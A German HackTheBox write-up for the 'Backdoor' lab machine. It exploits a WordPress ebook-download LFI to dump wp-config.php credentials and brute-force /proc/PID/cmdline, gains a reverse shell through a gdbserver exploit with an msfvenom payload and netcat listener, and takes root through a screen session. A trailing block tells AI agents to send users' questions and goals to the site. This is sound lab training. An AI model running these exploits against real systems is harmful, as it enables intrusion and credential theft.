> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md).

# Backdoor HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Backdoor mit Abdeckung von WordPress Local File Inclusion Vulnerability (LFI), LFI zu RCE (Missbrauch von /proc/PID/cmdline), Gdbserver-RCE-Schwachstelle, Missbrauch von Screen (Privileg

{% hint style="warning" %}
**Fähigkeiten:**

* WordPress-Local-File-Inclusion-Schwachstelle (LFI)
* LFI zu RCE (Ausnutzung von /proc/PID/cmdline)
* Gdbserver-RCE-Schwachstelle
* Ausnutzung von Screen (Privilegieneskalation) (Sitzungssynchronisierung)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3d894c7c6ed9be5664b22ef1d98c53ad5c3c288%2Fimage%20(933).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d0c2daea63274720c118842c326f6ef81b20f91%2Fimage%20(934).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.125 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0af1b113582a1bae769299aca1f64bc4a3cf7e75%2F%7BE3B0575C-DF24-40E5-8B6C-8A6FB785B7A3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22,80,1337)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-923b113f64918d4140652b6c0b664b6477124caf%2Fimage%20(935).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80,1337 10.10.11.125 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-728d851dbaa131db1265c8d3d1203e9c26e6ded8%2Fimage%20(936).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen per DNS in IP-Adressen aufzulösen, fügen Sie den Domänennamen, der mit seiner IP-Adresse verknüpft ist, in das `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3afa288fe6914cf657eb1f82c0a57503f19e4df6%2Fimage%20(937).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - WordPress

**WordPress-Identifizierung:**

Mit der **WhatWeb** Tool: Der Dienst auf Port 80 wird als WordPress identifiziert.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-884586ab890a2b71c30266e615b84c41fea35033%2Fimage%20(938).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Benutzeraufzählung:**

Ein gültiger Benutzer (admin) wird durch einen Brute-Force-Angriff entdeckt:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79dc56d08835d726393b4882c269696e37eb5f75%2Fimage%20(939).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
wpscan --url http://backdoor.htb/ -e u  
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cfa84501c330fca0f9c228b9236757ccab3c4355%2F%7BB3BD7C39-E8C6-4781-A915-B897446509C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Aufzählung von Verzeichnissen mit Gobuster:**

Verzeichnissuche:

```bash
gobuster dir -u http://backdoor.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8fdb86e081bb47a8cab2dd5991df7f8339ae1b2%2Fimage%20(940).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ebook-Download-Schwachstelle - LFI

Suche **wp-content/plugins** um aktive Plugins zu entdecken:

```
/wp-content/plugins
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f76be17a070db090b8e30224ad1c324667577d79%2Fimage%20(951).png?alt=media" alt=""><figcaption></figcaption></figure>

Das **ebook-download** Das Plugin weist eine LFI-Schwachstelle auf, die über Folgendes ausgenutzt wird:

```
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae9fe296eacaed3bb6cb9d9fbc62c5b981a6ae82%2Fimage%20(941).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1379df86ec7b2648e818b80c768a61a9f5ee4e0%2Fimage%20(942).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese Abfrage ermöglicht das Herunterladen beliebiger Dateien. Durch das Wiederherstellen der `wp-config.php` Datei

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30555d2a8bd4e1b9601466fd683bd64193560daf%2Fimage%20(943).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erhalten die folgenden Informationen:

* `wordpressuser`
* `MQYBJSaD#DxG6qbm`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506d346d9792e6fb9f55b77274c17f20d2f50a2e%2Fimage%20(944).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese Informationen ermöglichen keine Verbindung zum `wp-admin` Oberfläche,

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08f3649815a140fd31fabb8d5371dc458062dadf%2F%7B714DDFEC-5841-4262-9B98-D4B640500219%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## LFI-Ausnutzung

**Auflistung sensibler Dateien:**

Systembenutzer über /etc/passwd auflisten:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53e17e391b6d248069a566a41d21b87ca336fb26%2Fimage%20(945).png?alt=media" alt=""><figcaption></figcaption></figure>

Versuche, den privaten SSH-Schlüssel des Benutzers wiederherzustellen `Benutzer`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"
```

Diese Versuche scheitern wahrscheinlich aufgrund eingeschränkter Berechtigungen für diese Dateien.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b152657a29afa8f1c853d004e30c0d54dc347f8%2Fimage%20(946).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **LFI - Proc**

**Prozesserkundung**

Erstellen eines Python-Skripts zum Extrahieren von Prozessinformationen durch Untersuchen von `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3


from pwn import *
import requests, signal, time, pdb

def def_handler(sig, frame):

    print("/n/n[+]] Beenden.../n")
    sys.exit(1)

# Ctrl + c 

signal.signal(signal.SIGINT, def_handler)

# Globale Variablen 
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="


def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("Brute-Force-Angriff")
    p1.status("Starte Brute-Force-Angriff")
    sleep(2)

    for i in range(1, 1000):
        p1.status("Versuche mit Pfad /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)

        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("PFAD: /proc/%s/cmdline" % str(i))
            log.info("Gesamtlänge: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")

if __name__ == '__main__':
    makeRequest()
```

Durch die Analyse der Prozesse wird Port 1337 als ein **gdbserver** Server.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-343d4f8f13925b83e262828a43e413a557bf5a78%2Fimage%20(947).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## Port 1337 - gdbserver

Ein Exploit für gdbserver ist verfügbar auf **Searchsploit**:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efefcca5af444471632b9b524a7e060f59bdf7fb%2Fimage%20(948).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausnutzung von gdbserver:**

```bash
searchsploit -m linux/remote/50539.py
```

1. Eine Reverse Shell erzeugen:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 PrependFork=true -o rev.bin
```

2. Einen Listener auf Port 443 starten:

```bash
nc -nvlp 443
```

3. Den Exploit ausführen:

```bash
python3 exploit.py 10.10.11.125:1337 rev.bin
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d767f17b82f3d22383ea3fd65999b353c2f5155%2Fimage%20(949).png?alt=media" alt=""><figcaption></figcaption></figure>

Sorge für mehr Stabilität der interaktiven Shell:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge User.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-207cb864a0273585c7cf9c5745b69371818d5aec%2Fimage%20(950).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### SUID - Screen:

#### Identifizierung der SUID-Binärdatei

Wir suchen mit dem folgenden Befehl nach Dateien, bei denen das SUID-Bit auf dem System aktiviert ist:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a9b2552edd80fc1eadb3455856d3271213efd7e%2Fimage%20(930).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse des Screen-Prozesses

Um laufende, mit Screen verbundene Prozesse zu untersuchen, verwenden wir den folgenden Befehl:

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06c12709369a6e3d2bd8b3c8b07fc2de748d0e6c%2Fimage%20(931).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Wir finden den folgenden laufenden Prozess:

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

Der obige Prozess zeigt, dass Screen so konfiguriert ist, eine Root-Sitzung zu erstellen, wenn der `/var/run/screen/S-root/` Ordner leer ist. Mit diesem Setup können wir Screen ausnutzen, um Root-Zugriff zu erhalten.

```bash
screen -x root/
```

### root.txt-Flagge :)

Nach dem Zugriff auf die Screen-Sitzung als Root verfügen Sie nun über Administratorrechte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b28eade67cd560bcc74afbb03dbbe55c5ccf091%2Fimage%20(932).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53ae2ba3f74acc4a44b556bdf5de2ba4247997e5%2F%7BD1C032C5-4AF8-40F0-97F5-699BA4F70ECE%7D.png?alt=media" alt="" width="527"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
